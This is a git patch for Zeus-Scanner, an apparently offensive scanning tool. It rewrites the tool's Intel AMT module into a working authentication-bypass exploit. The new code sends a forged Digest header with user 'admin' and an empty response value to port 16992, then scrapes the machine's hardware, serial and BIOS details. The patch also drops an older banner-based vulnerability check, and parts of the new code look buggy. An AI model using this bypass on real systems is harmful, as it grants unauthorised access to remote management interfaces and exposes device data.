From 3e4e37042a72fd1217b9701bdb81763077d84155 Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 29 Sep 2017 13:58:46 -0500 Subject: [PATCH] complete re-write of intel AMT bypass, proxy and user agent configuration added for issue #9 --- lib/attacks/intel_me/__init__.py | 165 ++++++++++++++++++++----------- lib/settings.py | 28 ++---- zeus.py | 7 +- 3 files changed, 122 insertions(+), 78 deletions(-) diff --git a/lib/attacks/intel_me/__init__.py b/lib/attacks/intel_me/__init__.py index 8f98586..0743c5f 100644 --- a/lib/attacks/intel_me/__init__.py +++ b/lib/attacks/intel_me/__init__.py @@ -1,67 +1,122 @@ import re -import socket +import json -import lib.settings +import requests +from lxml import html + +from lib.settings import ( + proxy_string_to_dict, + logger, set_color, + DEFAULT_USER_AGENT +) -BANNER_REGEX = re.compile("{} {}".format(lib.settings.AMT_SERVER_REGEX, lib.settings.AMT_BANNER_REGEX)) - - -def _is_vuln(response): - if BANNER_REGEX.search(response) is not None: - return True - return False - - -def create_connection(host, port, proxy=None, resp_size=1024): - send_data = "GET / HTTP/1.1\r\n\r\n" - conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - conn.settimeout(10) - - #if proxy is None: - conn.connect((host, int(port))) - #else: - # data_list = proxy.split("://") - # conn.connect(()) - - conn.send(send_data) - response = conn.recv(resp_size) - conn.close() - return response - - -def intel_amt_main(host, proxy=None, verbose=False): - if proxy is not None: - lib.settings.logger.warning(lib.settings.set_color( - "proxies are not implemented yet, you will not be connected through your proxy...", level=30 +def __get_auth_headers(target, port=16992, source=None, agent=None, proxy=None): + if not source or 'WWW-Authenticate' not in source.headers['WWW-Authenticate']: + logger.info(set_color or ( + "header value not established, attempting to get bypass..." )) + source = requests.get("http://{0}:{1}/index.htm".format(target, port), headers={ + 'connection': 'close', 'user-agent': agent + }, proxies=proxy) + return source + # Get digest and nonce and return the new header + if 'WWW-Authenticate' in source.headers: + logger.info(set_color( + "header value established successfully, attempting authentication..." + )) + data = re.compile('Digest realm="Digest:(.*)", nonce="(.*)",stale="false",qop="auth"').search( + source.headers['WWW-Authenticate']) + digest = data.group(1) + nonce = data.group(2) + return 'Digest username="admin", ' \ + 'realm="Digest:{0}", nonce="{1}", ' \ + 'uri="/index.htm", response="", qop=auth, ' \ + 'nc=00000001, cnonce="deadbeef"'.format(digest, nonce) + else: + logger.info(set_color( + "nothing found, will skip URL..." + )) + return None - ip_address = socket.gethostbyname(host) - lib.settings.logger.info(lib.settings.set_color( - "checking for Intel ME AMT exploit on host '{}' IP address '{}'...".format(host, ip_address) + +def __get_raw_data(target, page, agent=None, proxy=None): + logger.info(set_color( + "getting raw information..." )) - for port in lib.settings.AMT_PORTS: - if verbose: - lib.settings.logger.debug(lib.settings.set_color( - "checking port '{}'...".format(port), level=10 - )) + return requests.get("http://{0}:16992/{1}.htm".format(target, page), + headers={ + 'connection': 'close', + 'Authorization': __get_auth_headers(target), + 'user-agent': agent + }, + proxies=proxy + ) - try: - resp = create_connection(ip_address, port, proxy=proxy) - if _is_vuln(resp): - lib.settings.logger.info(lib.settings.set_color( - "host '{}' appears to be vulnerable to AMT exploit on port '{}'...".format(host, port) - )) - except socket.timeout: - lib.settings.logger.warning(lib.settings.set_color( - "host '{}' timed out on port {}, assuming not vulnerable and proceeding...".format(host, port), level=30 +def __get_hardware(target, agent=None, proxy=None): + req = __get_raw_data(target, 'hw-sys', agent=agent, proxy=proxy) + if not req.status_code == 200: + return None + logger.info(set_color( + "connected successfully getting hardware info..." + )) + tree = html.fromstring(req.content) + raw = tree.xpath('//td[@class="r1"]/text()') + bios_functions = tree.xpath('//td[@class="r1"]/table//td/text()') + data = { + 'platform': { + 'model': raw[0], + 'manufacturer': raw[1], + 'version': raw[2], + 'serial': raw[4], + 'system_id': raw[5] + }, + 'baseboard': { + 'manufacturer': raw[6], + 'name': raw[7], + 'version': raw[8], + 'serial': raw[9], + 'tag': raw[10], + 'replaceable': raw[11] + }, + 'bios': { + 'vendor': raw[12], + 'version': raw[13], + 'date': raw[14], + 'functions': bios_functions + } + } + return json.dumps(data) + + +def main_intel_amt(url, agent=None, proxy=None): + proxy = proxy_string_to_dict(proxy) or None + agent = agent or DEFAULT_USER_AGENT + logger.info(set_color( + "attempting to connect to '{}' and get hardware info...".format(url) + )) + try: + json_data = __get_hardware(url, agent=agent, proxy=proxy) + if json_data is None: + logger.error(set_color( + "unable to get any information, skipping...", level=40 )) pass - except Exception as e: - lib.settings.logger.exception(lib.settings.set_color( - "caught exception '{}', assuming not vulnerable and proceeding...".format(e), level=50 + else: + print("-" * 40) + for key in json_data.keys(): + print("{}:".format(str(key).capitalize())) + for item in json_data[key]: + print(" - {}: {}".format(item.capitalize(), json_data[key][item])) + print("-" * 40) + except Exception as e: + if "Temporary failure in name resolution" in str(e): + logger.error(set_color( + "failed to connect on '{}', skipping...".format(url), level=40 + )) + pass + else: + logger.exception(set_color( + "ran into exception '{}', cannot continue...".format(e) )) - - - diff --git a/lib/settings.py b/lib/settings.py index 1dd179c..db1e559 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -22,7 +22,7 @@ except NameError: # clone link CLONE = "https://github.com/ekultek/zeus-scanner.git" # current version -VERSION = "1.0.20" +VERSION = "1.0.21.6ea5" # colors to output depending on the version VERSION_TYPE_COLORS = {"dev": 33, "stable": 92, "other": 30} # version string formatting @@ -51,21 +51,6 @@ DEFAULT_USER_AGENT = "Zeus-Scanner(v{})::Python->v{}.{}".format( URL_QUERY_REGEX = re.compile(r"(.*)[?|#](.*){1}\=(.*)") # regex to recognize a URL URL_REGEX = re.compile(r"((https?):((//)|(\\\\))+([\w\d:#@%/;$()~_?\+-=\\\.&](#!)?)*)") -AMT_SERVER_REGEX = re.compile("Server: Intel\(R\) Active Management Technology") -AMT_BANNER_REGEX = re.compile( - "((11\.(6\.(2(7\.(3(2(6[0-3]|[0-5][0-9])|[01][0-9]{2})|" - "[0-2]?[0-9]?[0-9]?[0-9])|[0-6])|[01]?[0-9])|5|0\.(2(5\." - "(3000|[0-2]?[0-9]?[0-9]?[0-9])|[0-4])|[01]?[0-9]))|10\.0\." - "(5(5\.[0-2]?[0-9]?[0-9]?[0-9]|[0-4])|[0-4]?[0-9])|9\.(5" - "\.(6(1\.(30(1[01]|0?[0-9])|[0-2]?[0-9]?[0-9]?[0-9])|0)|" - "[0-5]?[0-9])|1\.(4(1\.(30(2[0-3]|[01][0-9])|[0-2]?[0-9]?" - "[0-9]?[0-9])|0)|[0-3]?[0-9])|0)|8\.(1\.(7(1\.(3(60[0-7]|" - "[0-5][0-9]{2})|[0-2]?[0-9]?[0-9]?[0-9])|0)|[0-6]?[0-9])|0)" - "|7\.(1\.(9(1\.(3(2(7[01]|[0-6][0-9])|[01][0-9]{2})|[0-2]?" - "[0-9]?[0-9]?[0-9])|0)|[0-8]?[0-9])|0)|6\.(2\.(6(1\.(3(5(3[0-4]|" - "[0-2][[0-9])|[0-4][0-9]{2})|[0-2]?[0-9]?[0-9]?[0-9])|0)|[0-5]?" - "[0-9])|[01])))" -) # log path for the URL's that are found URL_LOG_PATH = "{}/log/url-log".format(os.getcwd()) # log path for port scans @@ -74,8 +59,6 @@ PORT_SCAN_LOG_PATH = "{}/log/scanner-log".format(os.getcwd()) SPIDER_LOG_PATH = "{}/log/blackwidow-log".format(os.getcwd()) # the current log file being used CURRENT_LOG_FILE_PATH = "{}/log".format(os.getcwd()) -# intel me amt ports -AMT_PORTS = (16992, 16993, 16994, 16995, 623, 664) # nmap's manual page for their options NMAP_MAN_PAGE_URL = "https://nmap.org/book/man-briefoptions.html" # sqlmap's manual page for their options @@ -319,7 +302,7 @@ def worker(filename, item): def find_application(to_find, default_search_path="/", proc_num=25, given_search_path=None, verbose=False): """ - find an application on the users system if it is not in their PATH or not path is given + find an application on the users system if it is not in their PATH or no path is given """ retval = set() if whichcraft.which(to_find) is None: @@ -380,4 +363,9 @@ def create_tree(start, conns, down="|", over="-", sep="-" * 40): down, over, con ) ) - print(sep) \ No newline at end of file + print(sep) + + +def get_true_url(url): + data = url.split("/") + return "{}//{}".format(data[0], data[2]) \ No newline at end of file diff --git a/zeus.py b/zeus.py index e02320a..7c7e85e 100755 --- a/zeus.py +++ b/zeus.py @@ -42,7 +42,8 @@ from lib.settings import ( VERSION_STRING, URL_REGEX, URL_QUERY_REGEX, NMAP_MAN_PAGE_URL, - SQLMAP_MAN_PAGE_URL + SQLMAP_MAN_PAGE_URL, + get_true_url ) if __name__ == "__main__": @@ -368,8 +369,8 @@ if __name__ == "__main__": url_ip_address = replace_http(url.strip()) return nmap_scan.perform_port_scan(url_ip_address, verbose=verbose, opts=__create_arguments(nmap=True)) elif intel: - url_ip_address = replace_http(url.strip()) - return intel_me.intel_amt_main(url_ip_address, proxy=proxy_to_use, verbose=verbose) + url = get_true_url(url) + return intel_me.main_intel_amt(url, agent=agent_to_use, proxy=proxy_to_use) elif admin: main(url, show=opt.showAllConnections, verbose=verbose) elif xss: